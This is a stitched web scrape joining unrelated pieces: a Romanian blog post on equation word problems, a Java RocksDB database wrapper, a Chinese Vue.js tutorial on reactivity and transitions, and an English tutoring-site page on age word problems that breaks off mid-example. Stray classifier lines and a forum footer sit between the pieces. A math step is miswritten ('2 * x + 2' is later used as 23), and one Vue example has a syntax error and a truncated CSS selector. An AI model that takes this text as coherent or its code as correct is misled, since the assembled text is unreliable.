Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
__label__pos
| 0.999395 |
marți, 10 aprilie 2012
Probleme care se rezolva cu ajutorul ecuatiilor I
Pentru rezolvarea unei probleme avem de parcurs mai multe etape:
- Ce se cunoaste in problema;
- Ce se cere in problema;
- Ce metoda aplicam pentru rezolvarea problemei;
- Cum obtinem rezultatul si daca mai avem pasi intermediari
- Prezentarea solutiei si verificarea ei
1) Determinati un nr stiind ca daca il adunam cu 13 obtinem suma 47.
Notam nr cu „ x”
X + 13 = 47; x = 47 – 13; x = 34;
2) Determinati un numar stiind ca daca il inmultim cu 15 produsul este 450;
Notam nr cu „ x „
X * 15 = 450; x = 450 : 15; x = 30;
3) Determinati un nr natural, stiind ca inmultindu-l cu 5 si adunand la rezultat 7, obtinem 37;
Notam nr cu „ x „
X * 5 = 37 – 7= 30; x = 30 : 5; x = 6;
4) Determinati numarul natural care inmultit cu 3 si rezultatul adunat cu 13 ne da acelasi rezulotat ca atunci cand la dublu numarului adunam 23
( X * 3 ) + 13 = 2 * x + 2
3x + 13 = 2x + 23; 3x – 2x= 23 – 13; x = 10;
5) Suma a patru numere naturale consecutive este 46. Aflati numerele.
Nr 1 = x; Nr 2 = x + 1; Nr 3 = x + 2; Nr 4 = x + 3
X + ( x + 1 ) + ( x + 2 ) + ( x + 3 ) = 46
X + x + 1 + x + 2 + x + 3 = 46
4x + 6 = 46
4x = 46 – 6
4x = 40
X = 40 : 4
X = 10 ( primul numar)
X + 1 = 11 ( al doilea numar)
X + 2 = 12 ( al treilea numar)
X + 3 = 13 ( al patrulea numar)
6) Suma a trei numere impare consecutive este 51. Determinati-le.
Notam primul nr cu „x
Notam al doilea numar cu „ x +2”
Notam al treilea numar cu „ x + 4”
X + ( x + 2 ) + ( x + 4 )= 51
X + x + 2 + x + 4 = 51
3x + 6 = 51
3x = 51 – 6
3x = 45
X = 45 : 3
X = 15
X + 2 = 17 ( al doilea numar)
X + 4 = 19 ( al treilea numar)
7) Daca 9 caiete costa 27 lei, aflati cat costa 15 caiete?
Un caiet il notam cu „ x”.
9 * x = 27; x = 27 : 9; x = 3 lei/ caiet
15 * 3 lei = 45 lei/ 15 caiete
1) La o librarie s-au vandut 250 de culegeri. Ce suma s-a incasat in total daca 13 culegeri costa 325 lei?
Notam o culegere cu „ x „
13 * x = 325; x = 25 lei/ o culegere
25 * 250 = 6250 lei
2) 7 muncitori sapa un sant de 56 m intr-o zi. Cati metri de sant vor sapa 15 muncitori intr-o zi, lucrand la fel?
I. Notam un muncitor cu „ x „
7 * x = 56; x = 56 : 7; x = 8
15 * 8 = 120
sau
II. Regula de trei simpla
7 muncitori ....................................... 56 metrii intr-o zi
15 muncitori ....................................... x metrii intr-o zi
______________________________________________
7 * x = 56 * 15; 7x = 840; x = 120;
3) Suma a trei numere este de 324. Daca din fiecare se scade acelasi numar, atunci obtinem 18, 71 si 145. Care sunt numerele?
Notam primul numar cu „ a „
Notam al doilea numar cu „ b”
Notam al treilea numar cu „ c „
Notam cu „x” numarul comun ce-l scadem
a+ b + c = 324
a – x = 18; a = 18 + x
b – x = 71; b = 71 + x
c – x = 145; c = 145 + x
(18 + x) + (71 + x) + ( 145 + x)=324
3x + 18 + 71 + 145 = 324
3x + 234 = 324
3x = 324 – 234 ; 3x = 90; x = 90 : 3; x = 30
a – x = 18; a = 18 + x; a = 18 + 30; a = 48;
b – x = 71; b = 71 + x; b = 71 + 30; b = 101;
c – x = 145; c = 145 + x; c = 145 + 30; c = 175;
Niciun comentariu:
Trimiteţi un comentariu
Trimiteţi un comentariu
|
__label__pos
| 0.999172 |
package org.aion.db.impl.rocksdb;
import static java.lang.Math.max;
import static org.aion.db.impl.rocksdb.RocksDBConstants.BLOCK_SIZE;
import static org.aion.db.impl.rocksdb.RocksDBConstants.BLOOMFILTER_BITS_PER_KEY;
import static org.aion.db.impl.rocksdb.RocksDBConstants.BYTES_PER_SYNC;
import static org.aion.db.impl.rocksdb.RocksDBConstants.LEVEL0_SLOWDOWN_WRITES_TRIGGER;
import static org.aion.db.impl.rocksdb.RocksDBConstants.LEVEL0_STOP_WRITES_TRIGGER;
import static org.aion.db.impl.rocksdb.RocksDBConstants.MAX_BACKGROUND_COMPACTIONS;
import static org.aion.db.impl.rocksdb.RocksDBConstants.MAX_BACKGROUND_FLUSHES;
import static org.aion.db.impl.rocksdb.RocksDBConstants.MIN_WRITE_BUFFER_NUMBER_TOMERGE;
import static org.aion.db.impl.rocksdb.RocksDBConstants.OPTIMIZE_LEVEL_STYLE_COMPACTION;
import java.io.File;
import java.util.Arrays;
import java.util.Collection;
import java.util.Collections;
import java.util.Iterator;
import java.util.Map;
import org.aion.db.impl.AbstractDB;
import org.rocksdb.BlockBasedTableConfig;
import org.rocksdb.BloomFilter;
import org.rocksdb.CompactionPriority;
import org.rocksdb.CompressionType;
import org.rocksdb.Options;
import org.rocksdb.ReadOptions;
import org.rocksdb.RocksDB;
import org.rocksdb.RocksDBException;
import org.rocksdb.RocksIterator;
import org.rocksdb.WriteBatch;
import org.rocksdb.WriteOptions;
import org.slf4j.Logger;
public class RocksDBWrapper extends AbstractDB {
private RocksDB db;
private final int maxOpenFiles;
private final int blockSize;
private final int writeBufferSize;
private final int readBufferSize;
private final int cacheSize;
private WriteOptions writeOptions;
public RocksDBWrapper(
String name,
String path,
Logger log,
boolean enableDbCache,
boolean enableDbCompression,
int maxOpenFiles,
int blockSize,
int writeBufferSize,
int readBufferSize,
int cacheSize) {
super(name, path, log, enableDbCache, enableDbCompression);
this.maxOpenFiles = maxOpenFiles;
this.blockSize = blockSize;
this.writeBufferSize = writeBufferSize;
this.readBufferSize = readBufferSize;
this.cacheSize = cacheSize;
LOG.info("RocksDb Options: EnableCompression:{} XaxOpenFiles:{} BlockSize:{} WriteBuffer:{} ReadBuffer:{} EnableCache:{} CacheSize:{}"
, enableDbCompression, maxOpenFiles, blockSize, writeBufferSize, readBufferSize, enableDbCache, cacheSize);
RocksDB.loadLibrary();
}
@Override
public String toString() {
return this.getClass().getSimpleName() + ":" + propertiesInfo();
}
private Options setupRocksDbOptions() {
Options options = new Options();
options.setCreateIfMissing(true);
options.setUseFsync(false);
options.setCompressionType(
enableDbCompression
? CompressionType.LZ4_COMPRESSION
: CompressionType.NO_COMPRESSION);
options.setBottommostCompressionType(CompressionType.ZLIB_COMPRESSION);
options.setMinWriteBufferNumberToMerge(MIN_WRITE_BUFFER_NUMBER_TOMERGE);
options.setLevel0StopWritesTrigger(LEVEL0_STOP_WRITES_TRIGGER);
options.setLevel0SlowdownWritesTrigger(LEVEL0_SLOWDOWN_WRITES_TRIGGER);
options.setAtomicFlush(true);
options.setWriteBufferSize(this.writeBufferSize);
options.setRandomAccessMaxBufferSize(this.readBufferSize);
options.setParanoidChecks(true);
options.setMaxOpenFiles(this.maxOpenFiles);
options.setTableFormatConfig(setupBlockBasedTableConfig());
options.setDisableAutoCompactions(false);
options.setIncreaseParallelism(max(1, Runtime.getRuntime().availableProcessors() / 2));
options.setLevelCompactionDynamicLevelBytes(true);
options.setMaxBackgroundCompactions(MAX_BACKGROUND_COMPACTIONS);
options.setMaxBackgroundFlushes(MAX_BACKGROUND_FLUSHES);
options.setBytesPerSync(BYTES_PER_SYNC);
options.setCompactionPriority(CompactionPriority.MinOverlappingRatio);
options.optimizeLevelStyleCompaction(OPTIMIZE_LEVEL_STYLE_COMPACTION);
return options;
}
private BlockBasedTableConfig setupBlockBasedTableConfig() {
BlockBasedTableConfig bbtc = new BlockBasedTableConfig();
bbtc.setBlockSize(BLOCK_SIZE);
bbtc.setCacheIndexAndFilterBlocks(true);
bbtc.setPinL0FilterAndIndexBlocksInCache(true);
bbtc.setFilterPolicy(new BloomFilter(BLOOMFILTER_BITS_PER_KEY, false));
return bbtc;
}
// IDatabase Functionality
@Override
public boolean open() {
if (isOpen()) {
return true;
}
LOG.debug("Initialising RockDB {}", this.toString());
File f = new File(path);
File dbRoot = f.getParentFile();
// make the parent directory if not exists
if (!dbRoot.exists()) {
if (!f.getParentFile().mkdirs()) {
LOG.error("Failed to initialize the database storage for " + this.toString() + ".");
return false;
}
}
writeOptions = setupWriteOptions();
Options options = setupRocksDbOptions();
try {
db = RocksDB.open(options, f.getAbsolutePath());
} catch (RocksDBException e) {
if (e.getMessage().contains("lock")) {
LOG.error(
"Failed to open the database "
+ this.toString()
+ "\nCheck if you have two instances running on the same database."
+ "\nFailure due to: ",
e);
} else {
LOG.error("Failed to open the database " + this.toString() + " due to: ", e);
}
// close the connection and cleanup if needed
close();
}
return isOpen();
}
private WriteOptions setupWriteOptions() {
WriteOptions options = new WriteOptions();
options.setLowPri(true);
return options;
}
@Override
public void close() {
// do nothing if already closed
if (db == null) {
return;
}
LOG.info("Closing database " + this.toString());
// attempt to close the database
db.close();
db = null;
}
@Override
public void compact() {
LOG.info("Compacting " + this.toString() + ".");
try {
db.compactRange(new byte[] {(byte) 0x00}, new byte[] {(byte) 0xff});
} catch (RocksDBException e) {
LOG.error("Cannot compact data.");
e.printStackTrace();
}
}
@Override
public boolean isOpen() {
return db != null;
}
@Override
public boolean isCreatedOnDisk() {
// working heuristic for Ubuntu: both the LOCK and LOG files should get created on creation
// TODO: implement a platform independent way to do this
return new File(path, "LOCK").exists() && new File(path, "LOG").exists();
}
@Override
public long approximateSize() {
check();
long count = 0;
File[] files = (new File(path)).listFiles();
if (files != null) {
for (File f : files) {
if (f.isFile()) {
count += f.length();
}
}
} else {
count = -1L;
}
return count;
}
// IKetValueStore functionality
@Override
public boolean isEmpty() {
check();
try (RocksIterator itr = db.newIterator()) {
itr.seekToFirst();
// check if there is at least one valid item
return !itr.isValid();
} catch (Exception e) {
LOG.error("Unable to extract information from database " + this.toString() + ".", e);
}
return true;
}
@Override
public Iterator<byte[]> keys() {
check();
try {
ReadOptions readOptions = new ReadOptions();
readOptions.setSnapshot(db.getSnapshot());
return new RocksDBIteratorWrapper(readOptions, db.newIterator(readOptions));
} catch (Exception e) {
LOG.error("Unable to extract keys from database " + this.toString() + ".", e);
}
// empty when retrieval failed
return Collections.emptyIterator();
}
/**
* A wrapper for the {@link RocksIterator} conforming to the {@link Iterator} interface.
*
* @author Alexandra Roatis
*/
private static class RocksDBIteratorWrapper implements Iterator<byte[]> {
private final RocksIterator iterator;
private final ReadOptions readOptions;
private boolean closed;
/**
* @implNote Building two wrappers for the same {@link RocksIterator} will lead to
* inconsistent behavior.
*/
RocksDBIteratorWrapper(final ReadOptions readOptions, final RocksIterator iterator) {
this.readOptions = readOptions;
this.iterator = iterator;
iterator.seekToFirst();
closed = false;
}
@Override
public boolean hasNext() {
if (!closed) {
boolean isValid = iterator.isValid();
// close iterator after last entry
if (!isValid) {
iterator.close();
readOptions.close();
closed = true;
}
return isValid;
} else {
return false;
}
}
@Override
public byte[] next() {
iterator.next();
return iterator.key();
}
}
@Override
protected byte[] getInternal(byte[] key) {
try {
return db.get(key);
} catch (RocksDBException e) {
LOG.error("Unable to get key " + Arrays.toString(key) + ". " + e);
}
return null;
}
private WriteBatch batch = null;
@Override
public void putToBatchInternal(byte[] key, byte[] value) {
if (batch == null) {
batch = new WriteBatch();
}
try {
batch.put(key, value);
} catch (RocksDBException e) {
LOG.error("Unable to perform put to batch operation on " + this.toString() + ".", e);
throw new RuntimeException(e);
}
}
@Override
public void deleteInBatchInternal(byte[] key) {
if (batch == null) {
batch = new WriteBatch();
}
try {
batch.delete(key);
} catch (RocksDBException e) {
LOG.error("Unable to perform delete in batch operation on " + this.toString() + ".", e);
throw new RuntimeException(e);
}
}
@Override
public void commit() {
check();
if (batch != null) {
try {
db.write(writeOptions, batch);
} catch (RocksDBException e) {
LOG.error(
"Unable to execute batch put/update/delete operation on "
+ this.toString()
+ ".",
e);
}
batch.close();
batch = null;
}
}
@Override
public void putBatchInternal(Map<byte[], byte[]> input) {
// try-with-resources will automatically close the batch object
try (WriteBatch batch = new WriteBatch()) {
// add put and delete operations to batch
for (Map.Entry<byte[], byte[]> e : input.entrySet()) {
byte[] key = e.getKey();
byte[] value = e.getValue();
batch.put(key, value);
}
// bulk atomic update
db.write(writeOptions, batch);
} catch (RocksDBException e) {
LOG.error(
"Unable to execute batch put/update operation on " + this.toString() + ".", e);
}
}
@Override
public void deleteBatchInternal(Collection<byte[]> keys) {
try (WriteBatch batch = new WriteBatch()) {
// add delete operations to batch
for (byte[] key : keys) {
batch.delete(key);
}
// bulk atomic update
db.write(writeOptions, batch);
} catch (RocksDBException e) {
LOG.error("Unable to execute batch delete operation on " + this.toString() + ".", e);
}
}
}
|
__label__pos
| 0.99986 |
Vuejs讲解之:响应式、过渡效果、过渡状态
时间: 2017-11-09阅读: 2729标签: vue作者: gongyunit
1Vuejs高级之:响应式
1.1 如何追踪变化
Vue实例使用Object.defineProperty将普通js对象属性转为getter和setter
用户可以使用vue-devtools调试
每个Vue实例有相应的watch程序实例,可以检测并更新相关的组件
图形表示如下:
1.2 变化检测问题
受JS的限制,属性需要放在data对象上才能让它是相应的
动态设置响应属性,需要使用Vue.set(object,key,value)
Vm.$set是Vue.set的别名
如果想向已有对象添加一些属性,可以新建一个包含原有对象属性和新添加属性的对象
1.3 异步更新队列
Vue执行DOM更新是异步的
Vue.nextTick(callback)
1.4 响应式原理的示例
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<div id="demo">
<h5>a是data内部的,是响应的:{{a}}</h5>
<h5>b是vm.b设置的,是非响应的:{{b}}</h5>
<h5>c是通过Vue.set响应的:{{extendData.c}}</h5>
<h5> Vue 不允许动态添加根级响应式属性,所以你必须在初始化实例前声明根级响应式属性,哪怕只是一个空值: {{message}}</h5>
</div>
<script src="vue.js" type="text/javascript" charset="utf-8"></script>
<script type="text/javascript">
var vm = new Vue({
el:'#demo',
data:{
a:'a',
extendData:{},
// 声明 message 为一个空值字符串
message: 'hello'
}
});
vm.b = 'b';
Vue.set(vm.extendData,'c','c');
// 之后设置 `message`
vm.message = 'new hello'
vm.$el.textContent === 'new hello' // false
Vue.nextTick(function () {
vm.$el.textContent === 'new hello' // true
})
</script>
</body>
</html>
2Vuejs高级之:过渡效果
2.1 主要过渡效果依赖的工具
在 CSS 过渡和动画中自动应用 class
可以配合使用第三方 CSS 动画库,如 Animate.css
在过渡钩子函数中使用 JavaScript 直接操作 DOM
可以配合使用第三方 JavaScript 动画库,如 Velocity.js
2.2 单元素/组件的过渡
Vue 提供了 transition 的封装组件,在下列情形中,可以给任何元素和组件添加 entering/leaving 过渡
条件渲染 (使用 v-if)
条件展示 (使用 v-show)
动态组件
组件根节点
2.3 单元素/组件的过渡的示例
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
<style type="text/css">
.fade-enter-active, .fade-leave-active {transition: opacity .5s}
.fade-enter, .fade-leave-active {opacity: 0}
</style>
</head>
<body>
<div id="demo">
<button v-on:click="show = !show">
Toggle
</button>
<transition name="fade">
<p v-if="show">hello</p>
</transition>
</div>
<script src="vue.js" type="text/javascript" charset="utf-8"></script>
<script type="text/javascript">
var vm = new Vue({
el:'#demo',
data:{
show: true
}
});
</script>
</body>
</html>
2.4 过渡组件的注意事项
元素封装成过渡组件之后,在遇到插入或删除时,Vue 将
自动嗅探目标元素是否有 CSS 过渡或动画,并在合适时添加/删除 CSS 类名。
如果过渡组件设置了过渡的 JavaScript 钩子函数,会在相应的阶段调用钩子函数。
如果没有找到 JavaScript 钩子并且也没有检测到 CSS 过渡/动画,DOM 操作(插入/删除)在下一帧中立即执行。(注意:此指浏览器逐帧动画机制,与 Vue,和Vue的 nextTick 概念不同)
2.5 css动画过渡
常用的过渡都是使用 CSS 过渡。比如上一个例子。
CSS 动画用法同 CSS 过渡,区别是在动画中 v-enter 类名在节点插入 DOM 后不会立即删除,而是在 animationend 事件触发时删除。
2.6 css动画过渡的示例
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
<style type="text/css">
.bounce-enter-active {animation: bounce-in .5s;}
.bounce-leave-active {animation: bounce-out .5s;}
@keyframes bounce-in {
0% {transform: scale(0);}
50% {transform: scale(1.5);}
100% {transform: scale(1);}
}
@keyframes bounce-out {
0% {transform: scale(1);}
50% {transform: scale(1.5);}
100% {transform: scale(0);}
}
</style>
</head>
<body>
<div id="example-2">
<button @click="show = !show">Toggle show</button>
<transition name="bounce">
<p v-if="show">Look at me!</p>
</transition>
</div>
<script src="vue.js" type="text/javascript" charset="utf-8"></script>
<script type="text/javascript">
new Vue({
el: '#example-2',
data: {
show: true
}
})
</script>
</body>
</html>
2.7 自定义类名过渡
我们可以通过特性来自定义过渡类名:
enter-class
enter-active-class
leave-class
leave-active-class
他们的优先级高于普通的类名,这对于 Vue 的过渡系统和其他第三方 CSS 动画库,如 Animate.css 结合使用十分有用。
2.8 自定义过渡的示例
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
<link rel="stylesheet" type="text/css" href="animate.min.css" />
</head>
<body>
<div id="example-3">
<button @click="show = !show">
Toggle render
</button>
<transition name="custom-classes-transition"
enter-active-class="animated tada"
leave-active-class="animated bounceOutRight">
<p v-if="show">hello</p>
</transition>
</div>
<script src="vue.js" type="text/javascript" charset="utf-8"></script>
<script type="text/javascript">
new Vue({
el: '#example-3',
data: {
show: true
}
})
</script>
</body>
</html>
2.9 初始渲染的过渡
可以通过appear特性设置节点在初始渲染的过渡
<transition appear>
<!-- ... -->
</transition>
可以自定义CSS类名,代码如图:
自定义JavaScript钩子,代码如图:
2.10 多个组件的过渡
多个组件的过渡很简单很多 - 我们不需要使用 key 特性。相反,我们只需要使用动态组件
new Vue({
el: '#transition-components-demo',
data: {
view: 'v-a'
},
components: {
'v-a': {
template: '<div>Component A</div>'
},
'v-b': {
template: '<div>Component B</div>’}
}})
2.11 多个组件的过渡的示例
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
<style type="text/css">
.component-fade-enter-active,.component-fade-leave-active {transition: opacity .3s ease;}
.component-fade-enter,.component-fade-leave-active {opacity: 0;}
</style>
</head>
<body>
<div id="example-3">
<input type="radio" v-model="view" value="v-a"/>A
<input type="radio" v-model="view" value="v-b"/>B
<transition name="component-fade" mode="out-in">
<component v-bind:is="view"></component>
</transition>
</div>
<script src="vue.js" type="text/javascript" charset="utf-8"></script>
<script type="text/javascript">
new Vue({
el: '#example-3',
data: {
view: 'v-a'
},
components: {
'v-a': {
template: '<div>Component A</div>'
},
'v-b': {
template: '<div>Component B</div>'
}
}
})
</script>
</body>
</html>
2.12 列表过渡
列表的进入和离开过渡
列表的位移过渡
列表的渐进过渡
2.13 列表进入和离开过渡的示例
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<style type="text/css">
.list-item {display: inline-block;margin-right: 10px;}
ist-enter-active,.list-leave-active {transition: all 1s;}
.list-enter,.list-leave-active {opacity: 0;transform: translateY(30px);}
</style>
<body>
<div id="list-demo" class="demo">
<button v-on:click="add">Add</button>
<button v-on:click="remove">Remove</button>
<transition-group name="list" tag="p">
<span v-for="item in items" v-bind:key="item" class="list-item">{{ item }}</span>
</transition-group>
</div>
<script src="vue.js" type="text/javascript" charset="utf-8"></script>
<script type="text/javascript">
new Vue({
el: '#list-demo',
data: {
items: [1, 2, 3, 4, 5, 6, 7, 8, 9],
nextNum: 10
},
methods: {
randomIndex: function() {
return Math.floor(Math.random() * this.items.length)
},
add: function() {
this.items.splice(this.randomIndex(), 0, this.nextNum++)
},
remove: function() {
this.items.splice(this.randomIndex(), 1)
},
}
})
</script>
</body>
</html>
2.14 列表位移过渡的示例
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<style type="text/css">
.flip-list-move {transition: transform 1s;}
</style>
<body>
<script src="https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.14.1/lodash.min.js"></script>
<div id="flip-list-demo" class="demo">
<button v-on:click="shuffle">Shuffle</button>
<transition-group name="flip-list" tag="ul">
<li v-for="item in items" v-bind:key="item">
{{ item }}
</li>
</transition-group>
</div>
<script src="vue.js" type="text/javascript" charset="utf-8"></script>
<script type="text/javascript">
new Vue({
el: '#flip-list-demo',
data: {
items: [1, 2, 3, 4, 5, 6, 7, 8, 9]
},
methods: {
shuffle: function() {
this.items = _.shuffle(this.items)
}
}
})
</script>
</body>
</html>
2.15 列表渐进过渡的示例
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<style type="text/css">
.list-item {display: inline-block;margin-right: 10px;}
.list-enter-active,.list-leave-active {transition: all 1s;}
.list-enter,.list-leave-active {opacity: 0;transform: translateY(30px);}
</style>
<body>
<script src="https://cdnjs.cloudflare.com/ajax/libs/velocity/1.2.3/velocity.min.js"></script>
<div id="staggered-list-demo">
<input v-model="query">
<transition-group name="staggered-fade" tag="ul" v-bind:css="false" v-on:before-enter="beforeEnter" v-on:enter="enter" v-on:leave="leave">
<li v-for="(item, index) in computedList" v-bind:key="item.msg" v-bind:data-index="index">{{ item.msg }}</li>
</transition-group>
</div>
<script src="vue.js" type="text/javascript" charset="utf-8"></script>
<script type="text/javascript">
new Vue({
el: '#staggered-list-demo',
data: {
query: '',
list: [{ msg: 'Bruce Lee' },{ msg: 'Jackie Chan' },{ msg: 'Chuck Norris' },{ msg: 'Jet Li' },{ msg: 'Kung Fury' }]
}
computed: {
computedList: function() {
var vm = this
return this.list.filter(function(item) {
return item.msg.toLowerCase().indexOf(vm.query.toLowerCase()) !== -1
})
}
},
methods: {
beforeEnter: function(el) {
el.style.opacity = 0
el.style.height = 0
},
enter: function(el, done) {
var delay = el.dataset.index * 150
setTimeout(function() {
Velocity(
el, { opacity: 1, height: '1.6em' }, { complete: done }
)
}, delay)
},
leave: function(el, done) {
var delay = el.dataset.index * 150
setTimeout(function() {
Velocity(
el, { opacity: 0, height: 0 }, { complete: done }
)
}, delay)
}
}
})
</script>
</body>
</html>
3Vuejs高级之:过渡状态
3.1 过渡状态
Vue 的过渡系统提供了非常多简单的方法设置进入、离开和列表的动效。那么对于数据元素本身的动效呢,比如:
§数字和运算
§颜色的显示
§SVG 节点的位置
§元素的大小和其他的属性
所有的原始数字都被事先存储起来,可以直接转换到数字。做到这一步,我们就可以结合 Vue 的响应式和组件系统,使用第三方库来实现切换元素的过渡状态。
动态动画与watcher
通过 watcher 我们能监听到任何数值属性的数值更新。例子如下:
<script src="https://unpkg.com/[email protected]"></script>
<div id="animated-number-demo">
<input v-model.number="number" type="number" step="20">
<p>{{ animatedNumber }}</p>
</div>
new Vue({
el: '#animated-number-demo',
data: {
number: 0,
animatedNumber: 0
},
watch: {
number: function(newValue, oldValue) {
var vm = this
function animate (time) {
requestAnimationFrame(animate)
TWEEN.update(time)
}
new TWEEN.Tween({ tweeningNumber: oldValue })
.easing(TWEEN.Easing.Quadratic.Out)
.to({ tweeningNumber: newValue }, 500)
.onUpdate(function () {
vm.animatedNumber = this.tweeningNumber.toFixed(0)
})
.start()
animate()
}
}
})
动态状态转换
就像 Vue 的过渡组件一样,数据背后状态转换会实时更新,这对于原型设计十分有用。当你修改一些变量,即使是一个简单的 SVG 多边形也可是实现很多难以想象的效果。
通过组件组织过渡
管理太多的状态转换的很快会接近到 Vue 实例或者组件的复杂性,幸好很多的动画可以提取到专用的子组件。
3.2 过渡状态的示例
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<script src="tween.js"></script>
<title></title>
</head>
<body>
<div id="example-8">
<input v-model.number="firstNumber" type="number" step="20"> +
<input v-model.number="secondNumber" type="number" step="20"> = {{ result }}
<p>
<animated-integer v-bind:value="firstNumber"></animated-integer> +
<animated-integer v-bind:value="secondNumber"></animated-integer> =
<animated-integer v-bind:value="result"></animated-integer>
</p>
</div>
<script src="vue.js" type="text/javascript" charset="utf-8"></script>
<script type="text/javascript">
Vue.component('animated-integer', {
template: '<span>{{ tweeningValue }}</span>',
props: {
value: {
type: Number,
required: true
}
},
data: function() {
return {
tweeningValue: 0
}
},
watch: {
value: function(newValue, oldValue) {
this.tween(oldValue, newValue)
}
},
mounted: function() {
this.tween(0, this.value)
},
methods: {
tween: function(startValue, endValue) {
var vm = this
function animate(time) {
requestAnimationFrame(animate)
TWEEN.update(time)
}
new TWEEN.Tween({ tweeningValue: startValue })
.to({ tweeningValue: endValue }, 500)
.onUpdate(function() {
vm.tweeningValue = this.tweeningValue.toFixed(0)
})
.start()
animate()
}
}
})
// All complexity has now been removed from the main Vue instance!
new Vue({
el: '#example-8',
data: {
firstNumber: 20,
secondNumber: 40
},
computed: {
result: function() {
return this.firstNumber + this.secondNumber
}
}
})
</script>
</body>
</html>
转载于:工云IT技术
吐血推荐
1.站长广告联盟: 整理了目前主流的广告联盟平台,如果你有流量,可以作为参考选择适合你的平台点击进入...
2.休闲娱乐: 直播/交友 优惠券领取 网页游戏 H5游戏
链接: http://www.fly63.com/article/detial/73
Vue.js最佳实践:五招让你成为Vue.js大师
本文面向对象是有一定Vue.js编程经验的开发者。如果有人需要Vue.js入门系列的文章可以在评论区告诉我,有空就给你们写。对大部分人来说,掌握Vue.js基本的几个API后就已经能够正常地开发前端网站
vue介绍
库是一种插件,是一种封装好的特定方法的集合。提供给开发者使用,控制器在使用者手里。框架是一套架构,会基于自身特定向用户提供一套相当完整的解决方案,控制权在框架本身
vue有时候你不需要 $emit & $on
在此之前,子组件到父组件的传递事件我一般还是使用 $emit 和 $on,因为这个操作理解起来并不难,代码一般也挺清晰。不过今天遇到这么个情况 ——
Vue最佳实践
Vue 最佳实践,是参考 Vue 官方风格指南并根据过去 Vue 实际项目开发中的经验总结的一套规范建议。本项目的目的是希望每个 Vue 开发者都能尽快熟悉并上手项目代码,志在帮助 Vue 新手开发者及时避免一些不规范的设计和由此而引发的问题
vue知识点总汇
keep-alive它是vue的内置组件在默认情况下,v-model 在每次 input 事件触发后将输入框的值与数据进行同步 。你可以添加 lazy 修饰符,从而转变为使用 change 事件进行同步:
vue中使用v-for时为什么不能用index作为key?
Vue 和 React 都实现了一套虚拟DOM,使我们可以不直接操作DOM元素,只操作数据便可以重新渲染页面。而隐藏在背后的原理便是其高效的Diff算法。Vue 和 React 的虚拟DOM的Diff算法大致相同,其核心是基于两个简单的假设
vue.extend拓展
Vue.extend返回的是一个“拓展实例构造器”,也就是预设了部分选项的Vue实例构造器。经常服务于Vue.component用来生成组件,可以简单理解为当在模板中遇到该组件名称作为标签的自定义元素时
Vue基于snabbdom做了哪些事
Snabbdom 核心代码大约只有 200 行。它提供了模块化架构,具有丰富的功能,可通过自定义模块进行扩展。在了解核心 patch 前,需要先了解 snabbdom 的模块化架构思想。
尤雨溪:Vue Function-based API RFC【转】
将 2.x 中与组件逻辑相关的选项以 API 函数的形式重新设计。组件 API 设计所面对的核心问题之一就是如何组织逻辑,以及如何在多个组件之间抽取和复用逻辑。
vue中修改Modal的重置功能怎么写?
工作中遇到弹出模态框形式的修改功能,模态框里面是Form表单,Form表单中的内容是从后台获取的,这时候用户修改完没有提交,而是想重置然后重新修改,怎么办呢?
fly63.com版权所有,内容以共享、参考、研究为目的,不存在任何商业目的。其版权属原作者所有,如有侵权,请与小编联系!情况属实本人将予以删除!
文章投稿关于web前端网站点搜索站长推荐网站地图站长QQ:522607023
小程序专栏: 土味情话心理测试脑筋急转弯幽默笑话段子句子语录成语大全
|
__label__pos
| 0.987368 |
(628)-272-0788 [email protected]
Select Page
Age Word Problems
Grade 8 Math Worksheets
Age word problems involve finding the age of one or more individuals at a given point in time, based on the information provided in the problem.
Table of Contents:
• Age Word Problems
• Solved Examples
• Frequently Asked Questions
Personalized Online Tutoring
Age Word Problems Worksheet PDF
This is a free worksheet with practice problems and answers. You can also work on it online.
Sign up with your email ID to access this free worksheet.
"We really love eTutorWorld!"
"We really love etutorworld!. Anand S and Pooja are excellent math teachers and are quick to respond with requests to tutor on any math topic!" - Kieran Y (via TrustSpot.io)
"My daughter gets distracted easily"
"My daughter gets distracted very easily and Ms. Medini and other teachers were patient with her and redirected her back to the courses.
With the help of Etutorworld, my daughter has been now selected in the Gifted and Talented Program for the school district"
- Nivea Sharma (via TrustSpot.io)
Age Word Problems
Here are some examples of age word problems:
There are no specific formulas for age word problems. However, there are some general steps that can be followed to solve age word problems:
Steps to solve age word problems
Step 1: Read the problem carefully and identify the unknowns. Usually, the problem will ask for the age of one or more individuals at a specific point in time.
Step 2: Assign variables to represent the unknowns. Let’s say, for example, that the problem asks for the age of person A at a specific point in time. Then we can assign the variable A to represent that age.
Step 3: Use the information provided in the problem to set up one or more equations that relate the unknowns to each other.
Step 4: Solve the equations to find the values of the unknowns.
Step 5: Check your answer by making sure it satisfies all the conditions given in the problem.
It is important to note that age word problems can vary in complexity and may require additional steps or mathematical concepts to solve.
There have been times when we booked them last minute, but the teachers have been extremely well-prepared and the help desk at etutorworld is very prompt.
Our kid is doing much better with a higher score.
- Meg, Parent (via TrustSpot.io)
8th Grade Tutoring
eTutorWorld offers Personalized Online Tutoring for Math, Science, English, and Standardised Tests.
Our Tutoring Packs start at just under $21 per hour, and come with a moneyback guarantee.
Schedule a FREE Trial Session, and experience quality tutoring for yourself. (No credit card required.)
Solved Examples
Example 1 :
Lisa is 20 years older than Tom. In 5 years, Lisa’s age will be twice Tom’s age. How old is Tom now?
Solution: Let’s assume Tom’s current age is x. Then Lisa’s current age is x+20. In 5 years, Tom’s age will be x+5 and Lisa’s age will be x+25. According to the problem, Lisa’s age in 5 years will be twice Tom’s age in 5 years. So we can write an equation: x+25 = 2(x+5). Solving this equation, we get x=15. Therefore, Tom is currently 15 years old.
Example 2:
John is twice as old as Mary was when John was as old as Mary is now. If Mary is 20 years old, how old is John?
Solution:Let’s say:
Mary’s current age = M
